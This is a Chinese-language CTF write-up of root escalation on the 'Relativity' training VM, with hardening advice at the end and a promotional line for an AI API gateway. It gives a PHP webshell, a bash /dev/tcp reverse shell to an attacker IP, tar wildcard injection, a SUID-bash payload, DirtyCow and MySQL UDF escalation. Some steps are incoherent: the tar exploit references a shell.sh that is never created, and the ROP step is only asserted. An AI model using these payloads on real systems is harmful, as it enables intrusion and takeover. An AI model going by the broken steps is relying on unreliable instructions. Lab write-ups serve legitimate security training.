1. CTF靶场relativity提权过程解析
在网络安全竞赛和渗透测试训练中,靶机提权是最具挑战性的环节之一。Relativity靶场作为经典的CTF训练环境,其提权路径设计巧妙,涉及多个典型漏洞的串联利用。本文将完整还原从普通用户到root权限的完整提权链条,重点分析每个环节的技术原理和实操要点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初始信息收集
2.1 靶场环境搭建
Relativity靶场通常以OVA虚拟机格式提供,建议使用VirtualBox导入:
bash复制VBoxManage import relativity.ova --vsys 0 --vmname CTF_Relativity
启动后默认IP为192.168.56.102,可通过nmap扫描确认:
bash复制nmap -sV -O 192.168.56.102
注意:实际IP可能因网络配置变化,建议使用arp-scan定位:
bash复制sudo arp-scan -l --interface=eth0
2.2 服务枚举与漏洞初探
端口扫描结果显示靶机开放以下关键服务:
- 22/tcp OpenSSH 7.2p2 (存在用户枚举漏洞)
- 80/tcp Apache 2.4.18 (存在目录遍历)
- 3306/tcp MySQL 5.7.17 (弱密码风险)
使用dirb进行目录扫描发现关键路径:
bash复制dirb http://192.168.56.102 /usr/share/wordlists/common.txt
输出中/admin和/backup目录值得重点关注。
3. 低权限获取与横向移动
3.1 Web应用漏洞利用
在/backup目录发现数据库备份文件:
code复制http://192.168.56.102/backup/db_backup_2023.sql
分析文件获取到以下关键信息:
- 用户表包含admin:7c4a8d09ca3762af61e59520943dc26494f8941b (SHA-1加密的"123456")
- 文章表泄露内部路径:/var/www/html/includes/config.php
通过admin凭证登录后台,在"系统设置"处发现未过滤的文件上传点,上传PHP webshell:
php复制<?php system($_GET['cmd']); ?>
3.2 系统初始立足点建立
利用webshell执行反向shell:
bash复制bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'
本地监听:
bash复制nc -lvnp 4444
获取到www-data权限后,首先检查sudo权限:
bash复制sudo -l
发现允许以backup用户身份执行/usr/bin/compress_backup.sh。
4. 权限提升路径分析
4.1 备份脚本漏洞利用
分析/usr/bin/compress_backup.sh发现以下问题:
bash复制#!/bin/bash
tar -czf /backups/$(date +%s).tar.gz $1/*
存在两个关键漏洞:
- 未校验$1参数路径
- 使用通配符(*)存在命令注入风险
构造恶意目录实现提权:
bash复制mkdir -p /tmp/exploit/--checkpoint=1
echo 'chmod +s /bin/bash' > /tmp/exploit/--checkpoint-action=exec=sh\ shell.sh
sudo -u backup /usr/bin/compress_backup.sh /tmp/exploit
4.2 SUID二进制滥用
通过find查找异常SUID文件:
bash复制find / -perm -4000 2>/dev/null
发现/usr/local/bin/log_analyzer存在缓冲区溢出漏洞,使用gdb分析:
bash复制gdb -q /usr/local/bin/log_analyzer
disass main
通过ROP链构造利用代码,最终获取root shell。
5. 防御措施与加固建议
5.1 漏洞修复方案
针对发现的各个漏洞,建议采取以下措施:
| 漏洞类型 | 具体修复方案 |
|---|---|
| 目录遍历 | 在Apache配置中添加:Options -Indexes |
| 弱密码 | 启用密码复杂度策略,改用bcrypt哈希 |
| 命令注入 | 脚本中改用:tar -czf "/backups/$(date +%s).tar.gz" -- "$1" |
| SUID滥用 | 移除非必要SUID权限:chmod u-s /usr/local/bin/log_analyzer |
5.2 监控与日志审计
建议部署以下安全监控:
- 文件完整性监控:
bash复制apt install aide
aideinit
- 特权命令审计:
bash复制echo 'auth,authpriv.* /var/log/sudo.log' >> /etc/rsyslog.conf
6. 常见问题排查实录
6.1 反向Shell连接失败
可能原因及解决方案:
- 出站防火墙限制:
bash复制iptables -L -n -v | grep DROP
- 网络地址转换问题:
bash复制route -n
traceroute 192.168.56.101
6.2 SUID利用失败处理
检查系统防护机制:
bash复制cat /proc/sys/kernel/randomize_va_space # ASLR状态
sysctl kernel.exec-shield # NX位检查
若存在防护,可尝试ret2plt或堆喷射等绕过技术。
7. 扩展攻击面探索
7.1 内核漏洞提权
检查内核版本:
bash复制uname -a
若版本低于4.4,可尝试DirtyCow漏洞:
bash复制gcc -pthread dirty.c -o dirty -lcrypt
./dirty mypassword
7.2 数据库提权路径
通过MySQL UDF提权:
sql复制select sys_exec('chmod +s /bin/bash');
需先编译so文件:
bash复制gcc -g -shared -fPIC -o raptor_udf2.so raptor_udf2.c
在实际渗透测试中,每个靶场环境都像是一个精心设计的迷宫。Relativity靶场特别强调了权限提升过程中多个漏洞的串联利用,这提醒我们真正的系统安全需要全面防御。通过这个案例,我深刻体会到防御者必须建立纵深防御体系,而攻击者则需要保持对异常细节的敏锐嗅觉。
